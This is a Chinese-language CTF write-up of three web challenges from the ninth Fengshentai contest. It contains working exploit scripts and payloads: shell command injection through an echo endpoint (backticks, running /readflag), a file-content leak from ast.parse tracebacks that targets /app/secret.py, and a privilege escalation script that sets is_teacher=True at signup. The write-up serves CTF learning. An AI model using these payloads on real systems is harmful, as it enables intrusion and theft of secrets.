第九届封神台Web wp

EzEcho

看源码 利用点只能是这里

1
2
3
4
5
const output = await $`echo ${msg}`.text();
return new Response(output, { headers: { "Content-Type": "text/plain" } });
}
}
});

然后这里去查了一下发现是HITCONCTF2024里的一个题

HITCON CTF2024 web复现-先知社区

exp:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

payloads = [
'/readflag\tgive\tme\tthe\tflag1<1.sh',
'`sh<1.sh`'
]

url = "http://f46l3r60.lab.aqlab.cn/echo"

for cmd in payloads:
response = requests.post(url, data={'msg': cmd})
print(response.text)

image-20250810204040291

EzPyeditor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import ast
import traceback
from flask import Flask, render_template, request

app = Flask(__name__)

@app.get("/")
def home():
return render_template("index.html")

@app.post("/check")
def check():
try:
ast.parse(**request.json)
return {"status": True, "error": None}
except Exception:
return {"status": False, "error": traceback.format_exc()}

if __name__ == '__main__':
app.run(debug=True)

利用点是ast.parse(**request.json)和traceback.format_exc()

ast.parse() 参数特性filename 参数在发生语法错误时会被包含在错误信息中。如果 filename 设置为目标文件路径(如 /app/secret.py),且源代碼包含语法错误,错误信息会显示该文件名

错误处理机制:当语法错误发生时,服务器返回完整的错误回溯(traceback),其中包含 filename 的内容。如果目标文件(如 secret.py)存在语法错误,其内容会出现在错误信息中。

构造恶意请求:向 /check 端点发送 POST 请求,包含以下 JSON 数据:

1
2
3
4
{
"source": "!!!",
"filename": "/app/secret.py"
}
  • source: 设置为无效的 Python 语法(如 !!!),强制触发语法错误。
  • filename: 设置为目标文件的绝对路径(如 /app/secret.py)。

触发错误泄露文件内容

  • 服务器尝试解析 source 时遇到语法错误。 (因为 !!! 不是合法的 Python 代码)
  • 由于 filename 被设置为 /app/secret.py,错误回溯会包含该文件的内容。
  • 服务器返回的错误信息中将显示 secret.py 的内容,包括 Flag。

image-20250810204855537

这里可以看到有报错出文件名字即文件内容的 只不过报错出的文件内容是空白的

这里是因为 Python 的 ast.parse() 在语法解析报错的时候,SyntaxError 默认只会把出错位置所在的那一行源码放进 traceback,其他行不会显示

也就是它默认只会展示出错行,不会显示整个文件。

我们这里看到的空行刚好就是secret.py里的第一行

image-20250810205116702

怎么利用?

SyntaxError 报错的行数是由 lineno 控制的。
ast.parse() 解析你的 source 时,如果你让它报错在一个很靠后的行号,它就会去读取对应的那一行源码并返回给你。

即我们可以使用 \n!!! 换行符 把!!!移到下一行

ast.parse() 会去 /app/secret.py 读取那一行也就是第二行的内容,并放到报错里回显出来。

image-20250810205340190

可以看到这里的flag在第五行 所以只需要添加五个\n 就可以把!!!移至第六行 将第六行的内容即flag 报错回显出来

payload:

1
2
3
4
{
"source": "\n\n\n\n\n!!!",
"filename": "/app/secret.py"
}

image-20250810205513823

EzGrades

这题应该是一个jwt伪造吧

登录成功之后查找cookie进行jwt解密得到

image-20250810205941495

可以看到这里是stu的身份

image-20250810210023562

route.py文件里这里还有一个teacher

image-20250810210055922

auth.py这里有一个is_teacher 但是默认登录之后 该值为false

所以大概率就是伪造 is_teacher为True 然后去访问/grades_flag路由 获得服务器上的flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import requests
import re

TARGET_URL = "http://pklrgr6m.lab.aqlab.cn/" # 替换为实际目标URL


def exploit():
payloads = [
{'is_teacher': True},
]

for payload in payloads:
# 1. 基本用户数据
signup_data = {
'stu_num': 'attacker',
'stu_email': 'attacker@example.com',
'password': 'pwned'
}
# 2. 添加权限提升payload
signup_data.update(payload)

print(f"尝试payload: {payload}")

# 3. 发送注册请求
try:
signup_res = requests.post(
f"{TARGET_URL}/signup",
data=signup_data,
allow_redirects=False,
timeout=10
)
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
continue

# 4. 检查响应
if 'auth_token' not in signup_res.cookies:
print("注册失败!未获得auth_token")
continue

auth_token = signup_res.cookies['auth_token']
print(f"获得令牌: {auth_token[:50]}...")

# 5. 验证令牌是否有效
grades_res = requests.get(
f"{TARGET_URL}/grades",
cookies={'auth_token': auth_token},
timeout=5
)

if grades_res.status_code == 200:
print("令牌验证成功!")

# 6. 尝试获取flag
flag_res = requests.get(
f"{TARGET_URL}/grades_flag",
cookies={'auth_token': auth_token},
timeout=5
)

if flag_res.status_code == 200:
# 多种可能的flag提取方式
patterns = [
r'<td>Flag</td>\s*<td>(.*?)</td>',
r'flag{.*?}',
r'FLAG{.*?}',
r'[A-Z0-9]{31}='
]

for pattern in patterns:
flag_match = re.search(pattern, flag_res.text)
if flag_match:
flag = flag_match.group(0)
print(f"成功获取flag: {flag}")
return True

print("在响应中找到flag页面,但未识别出flag格式")
print(f"响应内容:\n{flag_res.text[:500]}...")
else:
print(f"访问flag页面失败,状态码: {flag_res.status_code}")
else:
print(f"令牌无效,状态码: {grades_res.status_code}")

print("所有payload尝试失败")
return False


if __name__ == "__main__":
exploit()

image-20250810210534220